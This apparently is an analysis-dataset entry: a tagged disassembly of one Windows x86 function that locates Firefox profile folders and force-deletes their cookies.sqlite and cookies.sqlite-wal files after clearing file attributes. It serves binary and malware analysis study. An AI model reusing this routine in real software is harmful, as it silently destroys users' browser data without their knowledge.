Function at 0x403750
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information
Get common file path
Set file attributes

Disassembly:
sub esp, 0x450
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x21d]
mov byte [esp + 0x21c], bl
mov byte [esp + 0x118], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x119]
mov byte [esp + 0x14], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x220]
push 0x1a
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x403a61
lea edi, [esp + 0x21c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x403a54
lea eax, [esp + ecx + 0x21b]
mov cl, byte [esp + ecx + 0x21b]
cmp cl, 0x5c
jne 0x4037ea
mov byte [eax], bl
mov edi, str.Mozilla_firefoxprofiles
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x21c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x21c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x11c]
push str._s.
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x320]
lea eax, [esp + 0x118]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x403a85
mov al, byte [esp + 0x320]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
test al, 0x10
je 0x40393f
lea ecx, [esp + 0x34c]
push str..default
push ecx
call dword [sym.imp.MSVCRT.dll__mbsstr]
add esp, 8
test eax, eax
je 0x40393f
lea edx, [esp + 0x34c]
lea eax, [esp + 0x21c]
push edx
push eax
lea ecx, [esp + 0x120]
push str._s_s
push ecx
call esi
mov eax, dword [esp + 0x474]
add esp, 0x10
test eax, eax
je 0x403914
lea edx, [esp + 0x118]
lea eax, [esp + 0x14]
push edx
push str._scookies.sqlite
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x14]
push 0
push ecx
call edi
lea edx, [esp + 0x14]
push edx
call ebp
lea eax, [esp + 0x118]
lea ecx, [esp + 0x14]
push eax
push str._scookies.sqlite_wal
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x14]
push 0
push edx
call edi
lea eax, [esp + 0x14]
push eax
call ebp
jmp 0x40393f
lea ecx, [esp + 0x118]
push 0
push ecx
call fcn.00402d70
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x40393f
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x1c0
push ebx
call fcn.004048b0
add esp, 0xc
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x320]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x403a49
test byte [esp + 0x320], 0x10
je 0x403a2e
lea ecx, [esp + 0x34c]
push str..default
push ecx
call dword [sym.imp.MSVCRT.dll__mbsstr]
add esp, 8
test eax, eax
je 0x403a2e
lea edx, [esp + 0x34c]
lea eax, [esp + 0x21c]
push edx
push eax
lea ecx, [esp + 0x120]
push str._s_s
push ecx
call esi
mov eax, dword [esp + 0x474]
add esp, 0x10
test eax, eax
je 0x403a03
lea edx, [esp + 0x118]
lea eax, [esp + 0x14]
push edx
push str._scookies.sqlite
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x14]
push 0
push ecx
call edi
lea edx, [esp + 0x14]
push edx
call ebp
lea eax, [esp + 0x118]
lea ecx, [esp + 0x14]
push eax
push str._scookies.sqlite_wal
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x14]
push 0
push edx
call edi
lea eax, [esp + 0x14]
push eax
call ebp
jmp 0x403a2e
lea ecx, [esp + 0x118]
push 0
push ecx
call fcn.00402d70
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x403a2e
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x1db
push ebx
call fcn.004048b0
add esp, 0xc
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x320]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40395a
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x450
ret
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x19b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004048b0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x450
ret
push str.D:WorkHPServiceShangHaiToasterIECacheFile.cpp
push 0x1aa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004048b0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x450
ret